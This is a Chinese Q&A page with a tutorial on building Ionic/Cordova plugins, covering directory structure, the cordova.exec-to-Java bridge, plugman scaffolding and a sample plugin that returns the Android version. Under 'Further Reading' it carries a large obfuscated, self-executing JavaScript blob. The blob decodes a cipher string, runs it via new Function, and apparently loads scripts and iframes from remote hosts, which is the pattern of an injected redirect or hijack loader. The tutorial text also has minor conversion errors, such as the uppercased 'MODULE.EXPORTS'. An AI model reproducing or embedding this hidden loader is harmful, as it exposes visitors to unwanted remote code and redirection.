如何开发Ionic插件

2025-03-05 01:59:27
推荐回答(1个)
回答1:

1. Cordova Plugin基础

1.1. 目录结构层次

IONIC下的插件都是遵循CORDOVA插件([BIBAPACHECORDOVA])规范,同时提供与CORDOVA类似的PLUGIN子命令来管理插件(IONIC PLUGIN XXX)。
下面是插件管理命令中的添加、删除及列举等基本使用方法:

$ ionic plugin list

cordova-plugin-camera 1.2.0 "Camera"

cordova-plugin-console 1.0.1 "Console"

cordova-plugin-device 1.0.1 "Device"

cordova-plugin-splashscreen 2.1.0 "Splashscreen"

cordova-plugin-statusbar 1.0.1 "StatusBar"

cordova-plugin-whitelist 1.0.0 "Whitelist"

ionic-plugin-keyboard 1.0.7 "Keyboard"

plugin-mydemo 1.0.0 "MyDemo"

添加(add)一个插件的时候,若指定的是本地的路径,则是将本地路径下的目录文件copy到plugins/下。若是插件名,则会自动连接到网上下载对应的插件。

由于插件是遵循Cordova插件规范,所以每个插件的代码目录层次结构都是高度类似的。每一个插件都是plugins/的一个子目录,Figure-1描述了插件共同的基本目录结构框架。

Figure 1. 插件的目录结构

从图中可以看出,插件框架中将不同平台的实现代码都放在各自不同的目录下(android/ios),通过ionic统一生成各自对应平台的应用程序。

为了方便管理plugins/下多个插件,通常在plugins/下会有一个总的管理文件,比如编译android平台的时候,会有一个android.json文件,里面放着当前插件的简单信息。

当用户使用ionic plugin add/remove命令来添加、删除插件的时候,android.json也会自动的把相应插件定义条目添加或者删除掉。

1.2. 插件工作原理分析

上一节我们已经清楚了一个插件的代码目录结构,那么一个插件是如何正确地在IONIC框架下运行的呢? 前台的HTML/JS代码又是如何与后面具体平台做数据交互的呢?
这个就需要对插件的工作原理及各个模块之间的流程关系有一个基本的了解[1]

为了让插件能够访问具体平台系统的代码,Cordova提供了对应的标准封装API来完成,下面的图简单地示意了Android平台情况下的封装过程:

Figure 2. 插件封装调用图

当用户ionic
build
android进行第一次编译的时候,会自动将插件下的Java文件copy到platform/android/目录下面,同时将JS也copy到platform/android/目录下,最终使用Android的编译工具(aapt/aidl/dx/apkbuilder等)生成.APK应用程序。

这里需要注意的是,插件中的Java文件默认下只会在第一次编译的时候自动放到platform/android/,之后即使用户修改了插件目录下面的Java文件,编译的时候仍然是使用platform/android/下的Java文件。

解决的方法可以是在编写自己插件调试的时候,在platform/android/下建立一个symbol link, 指向插件中的Java文件。

这样可以保证修改的Java文件会参加编译。

1.3. 数据的交互

从\REF{SECIONICPLUGINFLOW}节我们已经清楚JS和ANDROID平台之间分别通过JS的CORDOVA.EXEC()和JAVA的CORDOVAPLUGIN.EXECUTE()函数来对接。
这两个接口的参数对应关系如下所示:

由于JS发送到Java的数据已经作为函数的参数传入, 所以函数中的回调参数,主要是帮助Java侧反馈数据给JS侧所用。

Cordova使用了org.apache.cordova.PluginResult来完成,当中的PluginResult.Staus代表JS调用插件成功与否的状态。

通常代码中判断状态值是否为PluginResult.Staus.OK,来确认调用结果成果或者失败

2. 制作插件
实际工作中,我们往往需要自己编写满足自己项目需求的插件。这里将逐步介绍编写插件的步骤和注意事项。

2.1. PLUGMAN

也许IONIC的框架编写者觉得JS开发人员只要会怎么调用和删除插件就足够了。
所以默认下,ionic的plugin子命令,只是给JS开发者来add/remove编写好的插件。它并没有, 也不提供start/create等类似的生成插件代码框架的功能选项。

若我们需要自己编写自己的插件,则可以使用额外的一个叫做plugman的工具[2], 该工具可直接通过npm来安装。

安装成功后,就可以使用plugman命令来自动生成插件代码框架,避免手工建立和输入代码文件的工作:

$ sudo npm install -g plugman

$ plugman create --name plugin-myspeech --plugin_version 0.1 --plugin_id org.foo

$ cd plugin-myspeech

$ plugman platform add --platform_name android

上述命令将会生成一个plugin-myspeech的目录,同时会自动生成plugin.xml、src以及www目录。

当使用platform add添加完android支持后,对应的Android Java代码框架也会自动生成。

同理,plugman platform add --platform_name ios添加iOS支持后,和iOS相关的代码框架也自动生成。

2.2. 编写插件

这里介绍一个自己写的ANDROID平台下的简单PLUGIN,演示前台到后面具体平台实现的流程。
插件本身逻辑非常简单: 得到JS请求后,把当前手机的Android系统的版本信息,并发送回前端。

通过plugman命令生成基本插件代码框架:

$ plugman create --name MyDemo --plugin_version 0.1 --plugin_id org.ioniconline

$ cd MyDemo

$ plugman platform add --platform_name android

自动生成的代码框架中,定义了coolMethod方法,我们可以在Java代码中处理该请求

public class MyDemo extends CordovaPlugin {

public boolean execute() {

if (action.equals("coolMethod")) {

Log.e("MyDemo", "process the req");

String str = android.os.Build.VERSION.RELEASE;

PluginResult r = new PluginResult(PluginResult.Status.OK, str);

r.setKeepCallback(true);

callbackContext.sendPluginResult(r);

return true;

}

return false;

}

}

至此,一个插件的功能已经完成。

接下来我们在自己的ionic应用中添加该插件。用户可以指定自己刚刚编写的控件文件目录位置。该示例插件已经存放在github上,所以可以从github上直接添加:

$ ionic plugin add https://github.com/yangsongx/MyDemo
这样会在当前应用的plugins目录下生成org.ioniconline目录,里面放的就是前面编写的插件代码。

在需要调用Android接口的地方加上JS代码:

function getVersion() {

cordova.plugins.MyDemo.coolMethod('useless',

function(okData) {

alert(okData);

},

function(failData) {

alert(failData);

});

}

成功情况下,会弹出包含Android系统版本号数据的对话框。比如在我华为P7上返回的是4.4.2

Figure-\ref{figIOnicMyDemo}演示了整个代码在各个模块间的调用关系。完整的MyDemo的插件代码可以从github[3]上得到。

Figure 3. MyDemo插件逻辑流程

每个Plugin需要输出(export)的接口都需要使用module.exports的命令来完成。

var myApis = {};

myApis.foo1 = function(a,b) {

cordova.exec(...);

};

myApis.foo2 = function(a,b,c) {

cordova.exec(...);

};

MODULE.EXPORTS = MYAPIS;
2.3. 注意事项

不要直接修改Plugin中的Java代码,这个代码不参与编译。

原因: 第一次编译目标应用时,ionic会将Plugin中的Java代码copy到platform/下编译。但下次再进行编译的时候不会在copyrJava代码,所以参加编译的实际上只是platform/下的Java代码。

plugin中的js可以直接修改,而且每次重新编译都参加编译。

原因: ionic下的JS是在Cordova上封装了一层,所以每次编译,需要将ionic下的JS转换成Cordova JS才能正确工作

使用exec()中的service参数必需和插件plugin.xml中的featur定义的一致,否则会有class not found错误

报method not found异常, 插件中的js脚本未正确地使用module.exports声明

Further Reading

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();